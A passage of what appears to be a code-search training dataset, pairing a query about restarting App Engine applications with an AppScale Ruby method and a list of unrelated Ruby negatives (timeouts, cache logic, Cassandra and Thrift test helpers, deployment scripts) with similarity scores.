correctly\r\n\t\t\t\ttotal = (Rails.cache.read(\"maint/#{job.region}\").to_i + 1)\r\n\t\t\t\tRails.cache.write(\"maint/#{job.region}\", total, :expires_in => 15.minutes)\r\n\t\t\t\tRails.cache.delete(\"maint/checks\") if total == 25\r\n\r\n\t\t\t\tjob.unlock\r\n\t\t\t# Armory temporarily unavailable, not too big of a deal\r\n\t\t\trescue TemporarilyUnavailableError => e\r\n\t\t\t\tsay \"#{job.region && job.region.upcase || \"??\"} Armory temporarily unavailable (#{e.message}) (try ##{job.retries}, #{node.last_url})\"\r\n\t\t\t\tif e.message =~ /503/\r\n\t\t\t\t\t# Not as accurate as increment, but increment isn't working correctly\r\n\t\t\t\t\ttotal = (Rails.cache.read(\"maint/#{job.region}\").to_i + 1)\r\n\t\t\t\t\tRails.cache.write(\"maint/#{job.region}\", total, :expires_in => 15.minutes)\r\n\t\t\t\t\tRails.cache.delete(\"maint/checks\") if total == 25\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\t# At >= 5 retries, do a priority bump\r\n\t\t\t\tjob.retries ||= 0\r\n\t\t\t\tjob.retries += 1\r\n\t\t\t\tif job.retries >= 5\r\n\t\t\t\t\tjob.retries = 0\r\n\t\t\t\t\tjob.bump_priority\r\n\t\t\t\telse\r\n\t\t\t\t\tjob.save\r\n\t\t\t\t\tjob.unlock\r\n\t\t\t\tend\r\n\r\n\t\t\t# Failure in parsing the armory\r\n\t\t\trescue ArmoryParseError => e\r\n\t\t\t\tsay \"Armory error in #{job.class_name}, #{e.message} for #{job.bnet_id}\"\r\n\t\t\t\tArmory::Error.new(:region => job.region, :error_type => e.message, :class_name => job.class_name, :bnet_id => job.bnet_id).save\r\n\t\t\t\tif e.message == \"maintenance\"\r\n\t\t\t\t\t# Not as accurate as increment, but increment isn't working correctly\r\n\t\t\t\t\ttotal = (Rails.cache.read(\"maint/#{job.region}\").to_i + 1)\r\n\t\t\t\t\tRails.cache.write(\"maint/#{job.region}\", total, :expires_in => 15.minutes)\r\n\t\t\t\t\tRails.cache.delete(\"maint/checks\") if total == 25\r\n\t\t\t\t\r\n\t\t\t\t\tif job.retries >= 100\r\n\t\t\t\t\t\tRails.cache.delete(\"lock/#{job.id}\")\r\n\t\t\t\t\t\tjob.delete\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tjob.bump_priority\r\n\t\t\t\t\tend\r\n\t\t\t\telse\r\n\t\t\t\t\tjob.delete\r\n\t\t\t\tend\r\n\t\t\trescue ActiveRecord::StatementInvalid => e\r\n\t\t\t\tlog_exception(job, node, \"SQL Exception\", e)\r\n\t\t\t\tjob.unlock\r\n\t\t\t# Generic catch-all\r\n\t\t\trescue Exception => e\r\n\t\t\t\tlog_exception(job, node, \"Exception\", e)\r\n\t\t\t\t\r\n\t\t\t\tjob.retries ||= 0\r\n\t\t\t\tjob.retries += 1\r\n\t\t\t\t\r\n\t\t\t\tif job.retries >= 50 || RAILS_ENV != \"production\"\r\n\t\t\t\t\tRails.cache.delete(\"lock/#{job.id}\")\r\n\t\t\t\t\tjob.delete\r\n\t\t\t\telsif job.retries >= 10\r\n\t\t\t\t\tjob.bump_priority\r\n\t\t\t\telse\r\n\t\t\t\t\tjob.save\r\n\t\t\t\t\tjob.unlock\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\tRails.cache.delete(\"lock/#{job.id}\")\r\n\t\t\treturn nil\r\n\t\tend", "def def_read_timeout\n 10\n end", "def def_read_timeout\n 10\n end", "def testDelete1()\n key = \"_Delete1\"\n c = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL)\n rdht = Scalaris::ReplicatedDHT.new(conn = c)\n sc = Scalaris::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n \n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n c.close()\n end", "def initialize(opts={})\n @keyspace = opts[:keyspace] || \"Nodule\"\n\n @temp = Nodule::Tempfile.new(:directory => true, :prefix => \"nodule-cassandra\")\n @tmp = @temp.file\n\n @data = File.join(@tmp, 'data')\n @caches = File.join(@tmp, 'caches')\n @commit = File.join(@tmp, 'commitlogs')\n\n @host = \"127.0.0.1\" # will support 127.0.0.2 someday\n @jmx_port = Nodule::Util.random_tcp_port\n @rpc_port = Nodule::Util.random_tcp_port\n @storage_port = Nodule::Util.random_tcp_port\n @ssl_storage_port = Nodule::Util.random_tcp_port\n\n @casshome = \"#{@tmp}/#{CASSANDRA}\"\n @pidfile = \"#{@casshome}/cassandra.pid\"\n @cassbin = \"#{@casshome}/bin\"\n @command = [\"#{@cassbin}/cassandra\", \"-f\", \"-p\", @pidfile]\n @config = \"#{@casshome}/conf/cassandra.yaml\"\n @envfile = \"#{@casshome}/conf/cassandra-env.sh\"\n @log4j = \"#{@casshome}/conf/log4j-server.properties\"\n @logfile = \"#{@tmp}/system.log\"\n\n # This handler reads STDOUT to determine when Cassandra is ready for client\n # access. Coerce the stdout option into an array as necessar so options can\n # still be passed in.\n if opts[:stdout]\n unless opts[:stdout].kind_of? Array\n opts[:stdout] = [ opts.delete(:stdout) ]\n end\n else\n opts[:stdout] = []\n end\n\n # Watch Cassandra's output to be sure when it's available, obviously, it's a bit fragile\n # but (IMO) better than sleeping or poking the TCP port.\n @mutex = Mutex.new\n @cv = ConditionVariable.new\n opts[:stdout] << proc do |item|\n @mutex.synchronize do\n @cv.signal if item =~ /Listening for thrift clients/\n end\n end\n\n super({\"CASSANDRA_HOME\" => @casshome}, *@command, opts)\n end", "def test_slow_client_gets_killed_for_fast_client\n puts \"test_slow_clients_get_killed_for_fast_client\"\n start_slow_clients(nclients: 100)\n sleep 12\n test_single_request\n end", "def test_delete1()\n key = \"_Delete1\"\n c = Scalaroid::JSONConnection.new(url = Scalaroid::DEFAULT_URL)\n rdht = Scalaroid::ReplicatedDHT.new(conn = c)\n sc = Scalaroid::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n\n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n\n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n\n c.close()\n end", "def testWriteList_NotConnected()\n key = \"_WriteList_NotConnected\"\n conn = Scalaris::TransactionSingleOp.new()\n conn.close_connection()\n #assert_raise( Scalaris::ConnectionError ) { conn.write(@testTime.to_s + key, [$_TEST_DATA[0], $_TEST_DATA[1]]) }\n conn.write(@testTime.to_s + key, [$_TEST_DATA[0], $_TEST_DATA[1]])\n conn.close_connection()\n end", "def testWriteList_NotConnected()\n key = \"_WriteList_NotConnected\"\n conn = Scalaris::TransactionSingleOp.new()\n conn.close_connection()\n #assert_raise( Scalaris::ConnectionError ) { conn.write(@testTime.to_s + key, [$_TEST_DATA[0], $_TEST_DATA[1]]) }\n conn.write(@testTime.to_s + key, [$_TEST_DATA[0], $_TEST_DATA[1]])\n conn.close_connection()\n end", "def test_write_list_not_connected()\n key = \"_WriteList_NotConnected\"\n conn = Scalaroid::TransactionSingleOp.new()\n conn.close_connection()\n #assert_raises( Scalaroid::ConnectionError ) { conn.write(@testTime.to_s + key, [$_TEST_DATA[0], $_TEST_DATA[1]]) }\n conn.write(@testTime.to_s + key, [$_TEST_DATA[0], $_TEST_DATA[1]])\n conn.close_connection()\n end", "def read_timeout=(_arg0); end", "def read_timeout=(_arg0); end", "def read_timeout=(_arg0); end", "def call_thrift(expected_error = nil, max_time = nil, &block)\n\n if max_time && max_time > THRIFT_BLOCK_TIMEOUT && @comm_type != CommType::SERIAL\n #Close existing connection\n close\n\n #Connect to device with maximum socket timeout\n connect_to_device true, max_time\n elsif !max_time\n #if @comm_type == CommType::SERIAL\n # max_time = THRIFT_BLOCK_TIMEOUT*2\n #else\n max_time = THRIFT_BLOCK_TIMEOUT\n #end\n end\n\n $test_logger.log \"Inside call_thrift with expected error = '#{expected_error.to_s}' and block = '#{block_given?}'\"\n\n raise \"Block not provided in call_thrift!\" if !block_given?\n\n ret_val = nil\n\n begin\n\n #Enclose thrift calling block within defined timeout\n timeout(max_time) do\n\n index = 0\n error_arr = []\n begin\n ret_val = @th_client[index].instance_eval(&block)\n rescue NameError => ex\n error_arr << ex\n if index < @th_client.size - 1\n index += 1\n retry\n else\n err_msg = \"\"\n error_arr.each{|this_err| err_msg << \"\\n#{this_err.message}\"}\n raise ex, \"Specified thrift API not found!#{err_msg}\", ex.backtrace\n end\n end\n\n end\n\n #Assert if error is expected and there is no actual error\n $test_ref.assert false, \"No error was raised while calling thrift API!\\nExpected error: #{expected_error.class} - #{expected_error.to_s}\" if expected_error\n\n rescue Exception => ex\n\n #Log error\n $test_logger.log_e \"Error in call_thrift!\", ex, false\n\n #Raise proper exception if its timeout error\n raise ex, \"Timedout while executing thrift API block!\\n#{ex.message}\", ex.backtrace if ex == Timeout::Error\n\n if ex.is_a?(Test::Unit::AssertionFailedError) || ex.is_a?(NameError)\n raise\n else\n #If error is raised by thrift API, log assert failure\n #if ex.class.superclass == Thrift::Exception\n if !expected_error\n $test_ref.assert false, \"Unexpected error occurred while calling thrift API!\\nError: #{ex.class} - #{ex.message}\\n\\tat #{ex.backtrace.first}\"\n else\n\n #Create expected and actual error messages\n exp_err_msg = \"#{expected_error.class} - #{expected_error.message}\"\n act_err_msg = \"#{ex.class} - #{ex.message}\"\n\n $test_ref.assert_equal exp_err_msg, act_err_msg, \"Error mismatched while calling thrift API!\\nActual error: #{ex.class} - #{ex.message}\\n\\tat #{ex.backtrace.first}\"\n end\n #else\n # raise\n end\n end\n ret_val\n end", "def open_timeout; end", "def open_timeout; end", "def open_timeout; end", "def open_timeout; end", "def failsafe_timeout\n super\n end", "def ignore_disconnect=(_arg0); end", "def connection_pool_idle_timeout\n super\n end", "def script_timeout; end", "def mysql_keepalive\n ping_mysql\n end", "def handshake_timeout\n super\n end", "def disconnect!(timeout: 120)\n start_time = ::Gitlab::Metrics::System.monotonic_time\n\n while (::Gitlab::Metrics::System.monotonic_time - start_time) <= timeout\n break if pool.connections.none?(&:in_use?)\n\n sleep(2)\n end\n\n pool.disconnect!\n end", "def kill_node\n return if ws_running? < 2\n puts 'Low load, let\\'s kill a node..'\n to_kill = get_container_id(image=@ws_image)\n unregister_server(to_kill.id)\n container = Docker::Container.get(to_kill.id, to_kill.connection).kill\n end", "def portainer?(ip, segundos=1) \n Timeout::timeout(segundos) do \n begin\n TCPSocket.new(ip, \"#{$port}\").close # Check Portainer port.\n true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, SocketError\n false # If Exception, do not count this host.\n end\n end\n rescue Timeout::Error # If Timeout, do not count this host.\n false\nend", "def disconnecting?; connection_state == :disconnecting end", "def client_disconnected\n end" ]
[ "0.5972543", "0.59585834", "0.5902514", "0.5902514", "0.58843553", "0.5870571", "0.5870571", "0.5870571", "0.58668244", "0.5797737", "0.5778219", "0.57594955", "0.57062757", "0.5645544", "0.5642847", "0.5621436", "0.5552942", "0.5549196", "0.55490357", "0.55472666", "0.55289346", "0.5520009", "0.55143225", "0.550076", "0.5491252", "0.5460653", "0.5456889", "0.5456889", "0.5456889", "0.54491735", "0.5442477", "0.5441476", "0.5418644", "0.5418644", "0.53910995", "0.53905493", "0.53857476", "0.5367635", "0.5346844", "0.5346844", "0.5346844", "0.5346844", "0.5346844", "0.5346844", "0.5346844", "0.5346844", "0.5334078", "0.53158474", "0.5311661", "0.5309179", "0.53075457", "0.5299327", "0.52947277", "0.5276623", "0.5270947", "0.5267302", "0.52535444", "0.5246848", "0.5245026", "0.5214426", "0.51902336", "0.5180136", "0.5174958", "0.5173196", "0.51698947", "0.5167528", "0.51664335", "0.51629937", "0.51258403", "0.51113117", "0.51113117", "0.51076394", "0.51068205", "0.5089467", "0.5089467", "0.50820583", "0.5072042", "0.5047861", "0.5016588", "0.5008318", "0.5008318", "0.49992228", "0.49966612", "0.49966612", "0.49966612", "0.49929804", "0.498835", "0.498835", "0.498835", "0.498835", "0.49872443", "0.49829206", "0.498272", "0.49775463", "0.49725616", "0.4963196", "0.49548742", "0.49539414", "0.49415264", "0.49372604", "0.49360076" ]
0.0
-1
Tells an AppController that it needs to restart one or more Google App Engine applications. Args: app_names: An Array of Strings, where each String is an appid corresponding to an application that needs to be restarted.
def set_apps_to_restart(app_names) make_call(NO_TIMEOUT, RETRY_ON_FAIL, "set_apps_to_restart") { @conn.set_apps_to_restart(app_names, @secret) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def restart_appengine_apps\n # use a copy of @apps_to_restart here since we delete from it in\n # setup_appengine_application\n apps = @apps_to_restart\n apps.each { |app_name|\n if !my_node.is_login? # this node has the new app - don't erase it here\n Djinn.log_info(\"Removing old version of app #{app_name}\")\n Djinn.log_run(\"rm -fv /opt/appscale/apps/#{app_name}.tar.gz\")\n end\n Djinn.log_info(\"About to restart app #{app_name}\")\n APPS_LOCK.synchronize {\n setup_appengine_application(app_name, is_new_app=false)\n }\n }\n end", "def set_apps(app_names, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n if app_names.class != Array\n return \"app names was not an Array but was a #{app_names.class}\"\n end\n\n @app_names = app_names\n return \"App names is now #{@app_names.join(', ')}\"\n end", "def restart(app_name)\n deprecate # 07/31/2012\n delete(\"/apps/#{app_name}/server\").to_s\n end", "def restart(app_name)\n\t\tdelete(\"/apps/#{app_name}/server\")\n\tend", "def set_apps_to_restart(apps_to_restart, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n APPS_LOCK.synchronize {\n @apps_to_restart += apps_to_restart\n @apps_to_restart.uniq!\n }\n Djinn.log_debug(\"Apps to restart is now [#{@apps_to_restart.join(', ')}]\")\n\n return \"OK\"\n end", "def app_restart\n return unless restart_required?\n callback(:app_restart) do\n notify(:app_restart)\n heroku.app_restart\n end\n end", "def script name, app_names\n each_app(*app_names) do |server_app|\n server_app.run_script name\n end\n end", "def status(*app_names)\n each_app(*app_names) do |server_app|\n begin\n server_app.status\n rescue => e\n e.message\n end\n end\n end", "def restart_app(app_name)\n app_type = get_app_type(app_name)\n app_ver = \"\"\n app_dir = get_app_dir(app_name,app_ver)\n case app_type\n when /prefPane/\n %x[pkill \"System Preferences\"]\n %x[open \"/Applications/System Preferences.app\"]\n when /app|util/\n %x[pkill \"#{app_name}\"]\n %x[open \"#{app_dir}\"]\n end\n return\nend", "def restart(*services) = execute(services: services)", "def stopApplications()\n debug(\"Stop all applications\")\n @applications.each_key { |name|\n stopApplication(name)\n }\n end", "def configure_app_name(files)\n files.each do |file|\n gsub_file file, /<%= app_name %>/, app_name\n end\n end", "def update_app_list\n # Differentiate between a null app_nids params and no app_nids params\n return unless params[:organization].key?(:app_nids) && (desired_nids = Array(params[:organization][:app_nids]))\n\n existing_apps = @organization.app_instances.active\n\n existing_apps.each do |app_instance|\n desired_nids.delete(app_instance.app.nid) || app_instance.terminate\n end\n\n desired_nids.each do |nid|\n begin\n @organization.app_instances.create(product: nid)\n rescue => e\n Rails.logger.error { \"#{e.message} #{e.backtrace.join(\"\\n\")}\" }\n end\n\n end\n\n # Force reload\n existing_apps.reload\n end", "def startApplications()\n debug(\"Start all applications\")\n @applications.each_key { |name|\n startApplication(name)\n }\n end", "def reset_apps\n # Set default hash value to false, so attempts to uninstall\n # non-existent apps will fail\n @apps = Hash.new(false)\n @apps.merge!(DEFAULT_APPS)\n end", "def restart_failed_jobs\n res = Messaging::JobReview.restart_failed_jobs!\n\n flash.now[:notice] = \"Restarted #{res} #{'job'.pluralize(res)}\"\n index\n end", "def destroy_all(force_refresh: @apps.empty?)\n MUTEX_FILE.flock(File::LOCK_EX)\n\n refresh_app_list if force_refresh\n\n while app = @apps.pop\n begin\n destroy_with_log(name: app[\"name\"], id: app[\"id\"], reason: \"destroy all\")\n rescue AlreadyDeletedError => e\n handle_conflict(\n conflict_message: e.message,\n strategy: :refresh_api_and_continue\n )\n end\n end\n ensure\n MUTEX_FILE.flock(File::LOCK_UN)\n end", "def reboot_instances(*instances)\n instances = instances.flatten\n link = generate_request(\"RebootInstances\", amazonize_list('InstanceId', instances))\n request_info(link, RightBoolResponseParser.new(:logger => @logger))\n rescue Exception\n on_exception\n end", "def restart(services)\n generate_config if stale_config\n update_platform_env\n services.each do |service|\n kubectl(\"rollout restart deploy #{clean_kubernetes_name(service)}\")\n end\n # down(services)\n # up(services)\n # status\n end", "def initialize_applications\n application_names = (settings['applications'] || '').split(',').flatten.compact.map(&:strip).uniq\n self.applications = []\n application_names.each do |app_name|\n app = Application.find(:name => app_name, :host_id => host.id)\n if app\n self.applications << app\n else\n app = Application.new(:name => app_name, :host_id => host.id)\n if app.save\n self.applications << app\n else\n warn(\"Could not create application '#{app_name}' for host #{host.name}\")\n end\n end\n end\n self.applications\n end", "def deregister_application(app_name, namespace)\n end", "def reloadable_apps\n Padrino.mounted_apps.select do |app|\n next unless app.app_file.start_with?(Padrino.root)\n app.app_obj.respond_to?(:reload) && app.app_obj.reload?\n end\n end", "def stopApplications\n if @app_contexts.empty?\n warn \"No applications defined in group #{@name}. Nothing to stop\"\n else\n @applications.each { |app|\n app[:status] = :stopped\n app[:topic].configure({ :state => :stopped }, { assert: OmfEc.experiment.assertion })\n }\n end\n end", "def find_applications_by_app_name(app_name)\n pids = []\n\n begin\n x = `ps auxw | grep -v grep | awk '{print $2, $11, $12}' | grep #{app_name}`\n if x && x.chomp!\n processes = x.split(/\\n/).compact\n processes = processes.delete_if do |p|\n _pid, name, add = p.split(/\\s/)\n # We want to make sure that the first part of the process name matches\n # so that app_name matches app_name_22\n\n app_name != name[0..(app_name.length - 1)] and not add.include?(app_name)\n end\n pids = processes.map { |p| p.split(/\\s/)[0].to_i }\n end\n rescue ::Exception\n end\n\n pids.map do |f|\n app = Application.new(self, {}, PidMem.existing(f))\n setup_app(app)\n app\n end\n end", "def redeploy_app(memory, disk, address_space)\n app = get_app\n set_resource_limits(app, app, memory, disk, address_space)\n\n redeploy(app, @cluster_name)\n sample_sleep(' after reconfig')\n end", "def restart!\n IbmCloudRest.post \"#{@uri}/_restart\"\n end", "def modify_application(app_name, namespace, public_hostname)\n end", "def start_apps\n check_apps\n remove_sockets\n _start_apps(ARGV[1])\nend", "def status_after_command cmd, app_names, options=nil\n each_app(*app_names) do |server_app|\n\n yield(server_app) if block_given?\n\n begin\n server_app.run_script! cmd, options\n server_app.status.to_s\n\n rescue CmdError => e\n raise \"Failed running #{cmd}: #{server_app.status rescue :not_found}\"\n end\n end\n end", "def change_app_name!\n end", "def restart\n invoke :stop, :all => input[:all], :apps => input[:apps]\n\n line unless quiet?\n\n input[:apps].each do |app|\n unless input[:command].nil?\n app.command = input[:command]\n end\n app.update!\n end\n\n invoke :start, :all => input[:all], :apps => input[:apps],\n :debug_mode => input[:debug_mode]\n end", "def sip_reload_keeprt\n exceptions = []\n for server in self.servers\n begin\n server.ami_cmd(\"sip reload keeprt\")\n rescue Exception => e\n exceptions << e\n end\n end\n exceptions\n end", "def restart\n request('restart')\n end", "def reload(env, app)\n system \"ey ssh -e #{translate_env(env,app)} 'rm -rf /data/#{translate_app(env,app)}/current/tmp/cache/*'\" # clear out cache\n if env == 'production' # total hack to clear cache on app2\n system \"ssh deploy@ec2-50-18-83-188.us-west-1.compute.amazonaws.com 'rm -rf /data/#{translate_app(env,app)}/current/tmp/cache/*'\"\n end\n restart(env, app)\nend", "def restart_running_instances_services\n nodes.each do |node|\n node.restart_with_monit\n end\n end", "def reboot_instances( options = {} )\n options = { :instance_id => [] }.merge(options)\n raise ArgumentError, \"No instance IDs provided\" if options[:instance_id].nil? || options[:instance_id].empty?\n params = pathlist(\"InstanceId\", options[:instance_id])\n return response_generator(:action => \"RebootInstances\", :params => params)\n end", "def crash_vms_without_blocking(deployment_name, ids: [])\n # below function is not yet fully functional\n # lock_instances(ids)\n body = { \"Tasks\" =>\n [\n { \"Type\" => \"Shutdown\", \"Crash\" => true }\n ]\n }\n body[\"Selector\"] = get_vms_selector(deployment_name, ids: ids)\n return send_post_request(body)\n end", "def stop_app(app_name, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n app_name.gsub!(/[^\\w\\d\\-]/, \"\")\n Djinn.log_info(\"Shutting down app named [#{app_name}]\")\n result = \"\"\n Djinn.log_run(\"rm -rf /var/apps/#{app_name}\")\n \n # app shutdown process can take more than 30 seconds\n # so run it in a new thread to avoid 'execution expired'\n # error messages and have the tools poll it \n Thread.new {\n # Tell other nodes to shutdown this application\n if @app_names.include?(app_name) and !my_node.is_appengine?\n @nodes.each { |node|\n next if node.private_ip == my_node.private_ip\n if node.is_appengine? or node.is_login?\n ip = node.private_ip\n acc = AppControllerClient.new(ip, @@secret)\n\n begin\n result = acc.stop_app(app_name)\n Djinn.log_debug(\"Removing application #{app_name} from #{ip} \" +\n \"returned #{result}\")\n rescue FailedNodeException\n Djinn.log_warn(\"Could not remove application #{app_name} from \" +\n \"#{ip} - moving on to other nodes.\")\n end\n end\n }\n end\n\n # Contact the soap server and remove the application\n if (@app_names.include?(app_name) and !my_node.is_appengine?) or @nodes.length == 1\n ip = HelperFunctions.read_file(\"#{CONFIG_FILE_LOCATION}/masters\")\n uac = UserAppClient.new(ip, @@secret)\n result = uac.delete_app(app_name)\n Djinn.log_debug(\"(stop_app) Delete app: #{ip} returned #{result} (#{result.class})\")\n end\n \n # may need to stop XMPP listener\n if my_node.is_login? \n pid_files = HelperFunctions.shell(\"ls #{CONFIG_FILE_LOCATION}/xmpp-#{app_name}.pid\").split\n unless pid_files.nil? # not an error here - XMPP is optional\n pid_files.each { |pid_file|\n pid = HelperFunctions.read_file(pid_file)\n Djinn.log_run(\"kill -9 #{pid}\")\n }\n\n result = \"true\"\n end\n stop_xmpp_for_app(app_name)\n end\n\n Djinn.log_debug(\"(stop_app) Maybe stopping taskqueue worker\")\n maybe_stop_taskqueue_worker(app_name)\n Djinn.log_debug(\"(stop_app) Done maybe stopping taskqueue worker\")\n\n APPS_LOCK.synchronize {\n if my_node.is_login?\n Nginx.remove_app(app_name)\n Nginx.reload\n HAProxy.remove_app(app_name)\n end\n\n if my_node.is_appengine?\n Djinn.log_debug(\"(stop_app) Calling AppManager for app #{app_name}\")\n app_manager = AppManagerClient.new(my_node.private_ip)\n if !app_manager.stop_app(app_name)\n Djinn.log_error(\"(stop_app) ERROR: Unable to stop app #{app_name}\")\n else\n Djinn.log_info(\"(stop_app) AppManager shut down app #{app_name}\")\n end\n\n ZKInterface.remove_app_entry(app_name, my_node.public_ip)\n end\n\n # If this node has any information about AppServers for this app,\n # clear that information out.\n if !@app_info_map[app_name].nil?\n @app_info_map.delete(app_name)\n end\n\n @apps_loaded = @apps_loaded - [app_name] \n @app_names = @app_names - [app_name]\n\n if @apps_loaded.empty?\n @apps_loaded << \"none\"\n end\n\n if @app_names.empty?\n @app_names << \"none\"\n end\n } # end of lock\n } # end of thread\n\n return \"true\"\n end", "def stop_apps\n ps_out = []\n\tif !Has_Sys_ProcTable\n\t\tIO.popen(PS_command).each do |line|\n\t\t\tps_out.push line\n\t\tend\n\telse\n\t\tProcTable.ps do |ps|\n\t\t\tps_out.push ps\n\t\tend\n\tend\n\n File.open(Conf,'r').each do |filename|\n filename.chomp!\n next if (ARGV[1].to_s != '' and ARGV[1].to_s != filename)\n pid_to_kill = 0\n\n # First we check to see if we have mention of the app in the PID\n # database. Normally, we should. If we don't have mention of the\n # app in the PID database, then the process table must be searched\n # to attempt to find the app and it's PID so that we have something\n # to kill.\n\n if ((@pid_db[filename].to_i || 0) > 0)\n pid_to_kill = @pid_db[filename].to_i\n else\n\t\t\tif Has_Sys_ProcTable\n\t\t\t\tps_out.each do |ps|\n\t\t\t\t\tif (ps.cmdline =~ /ruby\\s+#{filename}\\s*$/)\n\t\t\t\t\t\t\tpid_to_kill = ps.pid.to_i\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n ps_out.each do |line|\n if (line =~ /ruby\\s+#{filename}\\s*$/)\n line =~ /^\\S+\\s+(\\d+)/\n pid_to_kill = $1.to_i\n\t\t\t\t\t\tbreak\n end\n\t\t\t\tend\n\t\t\tend\n end\n\n # Make sure that a PID to kill was found. This is paranoia in case\n # the app were killed manually or died unexpectedly at some point.\n # it'd be a real bummer to kill someone's shell session just because\n # they had the dumb luck to inherit a PID number that used to belong\n # to an Iowa app.\n\n k = false\n if (pid_to_kill > 0)\n begin\n Process.kill('SIGTERM',pid_to_kill)\n k = true\n rescue Exception\n puts \"Error killing PID #{pid_to_kill} (#{filename})\"\n\t\t\tend\n puts \"Stopped PID #{pid_to_kill} (#{filename})\" if k\n else\n puts \"Warning: Can't find a PID for #{filename}\"\n\t\tend\n\n @pid_db.delete filename if k\n end\nend", "def restart\n app = extract_app\n\n opts = case args.first\n when NilClass then\n display \"Restarting processes... \", false\n {}\n when /.+\\..+/\n ps = args.first\n display \"Restarting #{ps} process... \", false\n { :ps => ps }\n else\n type = args.first\n display \"Restarting #{type} processes... \", false\n { :type => type }\n end\n heroku.ps_restart(app, opts)\n display \"done\"\n end", "def aps_application_names(start = 0, count = 1)\n a = redis.smembers(:aps_applications)\n return a if count == 0\n a[start..(start + count)] || []\n end", "def action_restart\n proxy_action(:restart)\n end", "def redeploy(opts)\n client = opts.k8s.to_api\n patch = {\n spec: {\n template: {\n metadata: {\n annotations: {\n \"kubectl.kubernetes.io/restartedAt\" => Time.now.strftime('%Y-%m-%dT%H:%M:%S.%L%z')\n }\n }\n }\n }\n }\n\n client\n .api('apps/v1')\n .resource('deployments', namespace: opts[:k8s][:k8s_namespace])\n .merge_patch(opts[:k8s][:k8s_deployment], patch)\nend", "def uninstall_app(app_name)\n @apps.delete(app_name) if @apps[app_name]\n end", "def run_for_app_all_roles(*apps, &block)\n the_app = node[:zz][:app_name]\n the_role = node[:zz][:deploy_role]\n rails_env = node[:zz][:group_config][:rails_env]\n apps.each do |app|\n app_name = app.to_s\n if app_name == the_app\n block.call(the_app.to_sym, the_role.to_sym, rails_env.to_sym)\n end\n end\n end", "def exist?(*app_names)\n each_app(*app_names) do |server_app|\n server_app.root_path\n end\n end", "def restart\n synchronize {\n if @app\n update_click_config\n else\n start\n end\n }\n end", "def reboot_instances(list)\n link = generate_request(\"RebootInstances\", hash_params('InstanceId', list.to_a))\n request_info(link, RightBoolResponseParser.new(:logger => @logger))\n rescue Exception\n on_exception\n end", "def applications\n @applications ||= [default_application]\n end", "def restart_soon\n @restart = true\n @shutdown = true\n end", "def remove_old_deploys\n deploys = all_deploy_names true\n\n return unless deploys.length > Sunshine.max_deploy_versions\n\n lim = Sunshine.max_deploy_versions + 1\n\n rm_deploys = deploys[0..-lim]\n rm_deploys.map!{|d| \"#{self.deploys_path}/#{d}\"}\n\n @shell.call \"rm -rf #{rm_deploys.join(\" \")}\"\n end", "def relocate_app(appid, http_port, https_port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n Djinn.log_debug(\"@app_info_map is #{@app_info_map.inspect}\")\n http_port = Integer(http_port)\n https_port = Integer(https_port)\n\n # First, only let users relocate apps to ports that the firewall has open\n # for App Engine apps.\n if http_port != 80 and (http_port < 8080 or http_port > 8100)\n return \"Error: HTTP port must be 80, or in the range 8080-8100.\"\n end\n\n if https_port != 443 and (https_port < 4380 or https_port > 4400)\n return \"Error: HTTPS port must be 443, or in the range 4380-4400.\"\n end\n\n # Next, make sure that no other app is using either of these ports for\n # nginx, haproxy, or the AppServer itself.\n @app_info_map.each { |app, info|\n # Of course, it's fine if it's our app on a given port, since we're\n # relocating that app.\n next if app == appid\n\n if [http_port, https_port].include?(info['nginx'])\n return \"Error: Port in use by nginx for app #{app}\"\n end\n\n if [http_port, https_port].include?(info['nginx_https'])\n return \"Error: Port in use by nginx for app #{app}\"\n end\n\n if [http_port, https_port].include?(info['haproxy'])\n return \"Error: Port in use by haproxy for app #{app}\"\n end\n\n # On multinode deployments, the login node doesn't serve App Engine apps,\n # so this may be nil.\n if info['appengine']\n info['appengine'].each { |appserver_port|\n if [http_port, https_port].include?(appserver_port)\n return \"Error: Port in use by AppServer for app #{app}\"\n end\n }\n end\n }\n\n if RESERVED_APPS.include?(appid)\n return \"Error: Can't relocate the #{appid} app.\"\n end\n\n # Next, remove the old port from the UAServer and add the new one.\n my_public = my_node.public_ip\n uac = 